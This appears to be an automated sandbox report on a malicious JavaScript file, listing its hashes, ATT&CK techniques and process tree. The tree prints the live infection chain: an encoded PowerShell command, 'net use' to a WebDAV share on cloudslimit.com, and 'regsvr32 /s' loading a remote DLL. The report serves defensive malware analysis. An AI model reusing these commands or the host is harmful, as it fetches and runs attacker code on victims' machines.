4a207e0688b62fcbc1399f15e4da06c0fdfc60c12bdccc133e035574890f7ec3

Analysis

max time kernel
136s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21/08/2024, 15:26

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General

Target

4a207e0688b62fcbc1399f15e4da06c0fdfc60c12bdccc133e035574890f7ec3.js
Size

12KB
MD5

0aeee8738a476deb8b7f84059ac5df70
SHA1

9822d4d33df8b719bde23e0b6b2b6c44564fc9db
SHA256

4a207e0688b62fcbc1399f15e4da06c0fdfc60c12bdccc133e035574890f7ec3
SHA512

1b17d706bddefc918614afad4234e743c60df13de1133f001443a31cf4cec54de650117fd298d2ca03c55136789623456f86a9f15d362d50af446c70bce531a5
SSDEEP

96:/K+VNmAmU4ekN+f424+i4/DFWPU646r4AbsDc4Gwwrr4z8Im:/KmsAHBTfjUgDFWs6ZrrbsYBvr+85

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4460	powershell.exe
4460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4460	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 4460	2328	wscript.exe	91
PID 2328 wrote to memory of 4460	2328	wscript.exe	91
PID 4460 wrote to memory of 4484	4460	powershell.exe	93
PID 4460 wrote to memory of 4484	4460	powershell.exe	93
PID 4460 wrote to memory of 624	4460	powershell.exe	94
PID 4460 wrote to memory of 624	4460	powershell.exe	94

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4a207e0688b62fcbc1399f15e4da06c0fdfc60c12bdccc133e035574890f7ec3.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADQANgAwADkAMwAwADcAMwAzADIAOAA5ADYAMQAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:4484
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\246093073328961.dll
    3⤵
    PID:624

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4336,i,16316361669272684588,6171287487746154806,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:8
1⤵
PID:3000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x5xdpxck.bqm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4460-0-0x00007FFA25103000-0x00007FFA25105000-memory.dmp

Filesize
8KB

Download
memory/4460-1-0x00000163AE900000-0x00000163AE922000-memory.dmp

Filesize
136KB

Download
memory/4460-11-0x00007FFA25100000-0x00007FFA25BC1000-memory.dmp

Filesize
10.8MB

Download
memory/4460-12-0x00007FFA25100000-0x00007FFA25BC1000-memory.dmp

Filesize
10.8MB

Download
memory/4460-15-0x00007FFA25100000-0x00007FFA25BC1000-memory.dmp

Filesize
10.8MB

Download